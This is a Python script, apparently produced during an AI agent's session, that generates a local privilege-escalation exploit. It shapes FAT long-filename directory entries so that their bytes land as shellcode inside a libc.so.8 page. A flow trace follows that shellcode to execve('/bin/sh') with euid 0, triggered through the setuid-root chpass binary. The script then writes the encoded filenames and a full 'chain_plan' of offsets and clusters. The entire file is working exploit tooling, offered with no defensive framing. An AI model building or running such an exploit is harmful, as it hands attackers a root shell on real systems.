#!/usr/bin/env python3
"""v15 artifact generation: flow trace + names + runtime plan."""
import json

placed = {int(k): v for k, v in json.load(open('/tmp/opencode/df2675/placed.json')).items()}
LIBC = open('/tmp/opencode/df2675/libc.so.8', 'rb').read()
VICTIM = bytearray(LIBC[0x100000:0x100800])

CREATES = [dict(fid=1, slot0=37, parts=10, namelen=120),
           dict(fid=2, slot0=48, parts=1, namelen=11),
           dict(fid=3, slot0=50, parts=2, namelen=25)]
PAIRS = [1, 3, 5, 7, 9, 14, 16, 18, 20, 22, 24, 28, 30]

WIN = bytearray(VICTIM)
for c in CREATES:
    for k in range(c['parts']):
        slot = c['slot0'] + k
        part = c['parts'] - k
        base = slot * 32
        WIN[base + 0] = part | (0x40 if k == 0 else 0)
        WIN[base + 11] = 0x0F; WIN[base + 12] = 0x00; WIN[base + 13] = 0xCC
        WIN[base + 26] = 0x00; WIN[base + 27] = 0x00
        for i, p in enumerate(PAIRS):
            pos = (part - 1) * 13 + i
            if pos == c['namelen']:
                WIN[base + p] = 0x00; WIN[base + p + 1] = 0x00
            elif pos > c['namelen']:
                WIN[base + p] = 0xFF; WIN[base + p + 1] = 0xFF
for k, v in placed.items():
    WIN[k] = v
# 8.3 record fixed parts (kernel-written): g2's 8.3@49 = cluster/size of file2
#   [26..30] = BF 18 3C 40 00 (cluster 0x18BF, size 0x403C), [31]=00
# g3's 8.3@52 = cluster 0x5E54 ('54 5E'), size 0x050F ('0F 05')
for off, b in [(49*32+26,0xBF),(49*32+27,0x18),(49*32+28,0x3C),(49*32+29,0x40),
               (49*32+30,0x00),(49*32+31,0x00),
               (52*32+26,0x54),(52*32+27,0x5E),(52*32+28,0x0F),(52*32+29,0x05),
               (52*32+30,0x00),(52*32+31,0x00)]:
    WIN[off] = b

# ---- flow trace
FILL_OK = {0x50,0x51,0x52,0x56,0x59,0x5A,0x5E,0x5F,0xF8,0xF9,0xF5,0xFC}
pc = 1188
trace = []
for _ in range(200):
    if pc == 1692:
        trace.append(f"{pc}: (execve done -- ROOT SHELL)"); break
    op = WIN[pc]
    if op == 0x58: trace.append(f"{pc}: pop rax"); pc += 1; continue
    if op == 0x57 and WIN[pc+1] == 0x5A: trace.append(f"{pc}: push rdi; pop rdx"); pc += 2; continue
    if op == 0x54 and WIN[pc+1] == 0x5A: trace.append(f"{pc}: push rsp; pop rdx (rdx=rsp)"); pc += 2; continue
    if op == 0x54 and WIN[pc+1] == 0x5E: trace.append(f"{pc}: push rsp; pop rsi (rsi=&argv)"); pc += 2; continue
    if op in FILL_OK and op != 0x57: trace.append(f"{pc}: filler {op:#04x}"); pc += 1; continue
    if op == 0x57: trace.append(f"{pc}: push rdi"); pc += 1; continue
    if op == 0x31 and WIN[pc+1] == 0xFF: trace.append(f"{pc}: xor edi,edi"); pc += 2; continue
    if op == 0x6A: trace.append(f"{pc}: push {WIN[pc+1]:#x}"); pc += 2; continue
    if op == 0x04: trace.append(f"{pc}: add al,{WIN[pc+1]:#x}"); pc += 2; continue
    if op == 0xEB:
        d = WIN[pc+1] - 256 if WIN[pc+1] > 127 else WIN[pc+1]
        trace.append(f"{pc}: jmp {pc+2+d}"); pc += 2 + d; continue
    if op == 0xBF:
        imm = int.from_bytes(WIN[pc+1:pc+5], 'little')
        trace.append(f"{pc}: mov edi,{imm:#x} ('/bin/sh' in chpass rodata)"); pc += 5; continue
    if op == 0x89 and WIN[pc+1] == 0xE6: trace.append(f"{pc}: mov esi,esp"); pc += 2; continue
    if op == 0x00 and WIN[pc+1] == 0x42:
        trace.append(f"{pc}: bridge add [rdx+{WIN[pc+2]:#x}],al"); pc += 3; continue
    if op == 0x0F and WIN[pc+1] == 0x05:
        trace.append(f"{pc}: SYSCALL execve('/bin/sh',{{S,0}},NULL) euid=0"); pc += 2; continue
    trace.append(f"{pc}: UNEXPECTED {op:#04x} {WIN[pc:pc+6].hex()}"); break
print("== flow ==")
for t in trace: print("  " + t)

# ---- names
emp = json.load(open('/tmp/opencode/df2675/pairmap_gb.json'))
inv = {}
for k, v in emp.items():
    inv.setdefault(tuple(v), (int(k[:2], 16), int(k[2:], 16)))
# extra verified: (EB,73) <- U+73EB (gb ab96)
inv[(0xEB, 0x73)] = (0xAB, 0x96)
AV = {(a, b) for a, b in json.load(open('/tmp/opencode/df2675/avail_emp.json'))}
AV.add((0xEB, 0x73))

names = {}
for c in CREATES:
    arr = {}
    for k in range(c['parts']):
        part = c['parts'] - k
        slot = c['slot0'] + k
        base = slot * 32
        for i, p in enumerate(PAIRS):
            pos = (part - 1) * 13 + i
            if pos >= c['namelen']: continue
            pair = (WIN[base + p], WIN[base + p + 1])
            lo, hi = pair
            if hi == 0 and 0x01 <= lo <= 0x7E and lo != 0x2F:
                ch = bytes([lo])
            elif pair in inv:
                ch = bytes(inv[pair])
            else:
                raise AssertionError(f"no enc {pair} slot{slot} pos{pos}")
            arr[pos] = ch
    name = b''.join(arr[i] for i in range(c['namelen']))
    names[c['fid']] = name
    print(f"name#{c['fid']}: {len(name)} bytes")

json.dump({str(k): v.hex() for k, v in names.items()},
          open('/tmp/opencode/df2675/names.json', 'w'))

plan = dict(
    victim='/lib/libc.so.8', winoff=0x100000,
    land=1188, mov=1594, bridge=1599, finale=1690, syscall=1692,
    trigger='/usr/bin/chpass (setuid-root; stdio fflush at exit)',
    creates=[
        dict(fid=1, name=names[1].hex(), datawrite=False),
        dict(fid=2, name=names[2].hex(), cluster=0x18BF, size=0x403C, datawrite=True),
        dict(fid=3, name=names[3].hex(), cluster=0x5E54, size=0x050F, datawrite=True),
    ],
    fat=dict(dirs=80, used_lo=82, used_hi=6334, first_free=6335,
             used2_lo=6336, used2_hi=24147, second_free=24148),
    window=WIN.hex(),
)
json.dump(plan, open('/tmp/opencode/df2675/chain_plan.json', 'w'))
print("chain_plan.json written")
